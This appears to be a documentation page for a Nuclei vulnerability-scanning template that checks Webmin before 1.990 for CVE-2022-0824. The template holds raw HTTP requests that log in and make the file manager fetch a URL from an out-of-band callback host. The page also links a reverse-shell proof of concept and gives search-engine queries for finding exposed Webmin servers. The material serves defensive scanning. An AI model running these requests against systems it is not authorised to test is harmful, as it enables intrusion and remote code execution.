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Webmin <1.990 - Improper Access Control

ID: CVE-2022-0824

Severity: high

Author: cckuailong

Tags: cve,cve2022,rce,oss,huntr,webmin,authenticated

Description

Section titled “Description”

Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0824


info:
  name: Webmin <1.990 - Improper Access Control
  author: cckuailong
  severity: high
  description: Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Upgrade Webmin to version 1.990 or later to mitigate this vulnerability.
  reference:
    - https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell/blob/main/Webmin-revshell.py
    - https://github.com/webmin/webmin/commit/39ea464f0c40b325decd6a5bfb7833fa4a142e38
    - https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0824
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0824
    cwe-id: CWE-284,CWE-863
    epss-score: 0.97246
    epss-percentile: 0.99819
    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: webmin
    product: webmin
    shodan-query: http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2022,rce,oss,huntr,webmin,authenticated


http:
  - raw:
      - |
        POST /session_login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: redirect=1;testing=1;PHPSESSID=;


        user={{username}}&pass={{password}}
      - |
        POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}/filemin/?xnavigation=1


        link=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: word
        part: body
        words:
          - "Failed to write to /{{ranstr}}/index.html"
# digest: 4a0a00473045022100b488ca674b3fe264ea6a267efa8b05deb3c7f00d02568d6118774a433109a1c702202bab4bb1d2ff2143a4f411b857c2adf83f44befffd986723be29a33ccd856901:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0824.yaml"

View on Github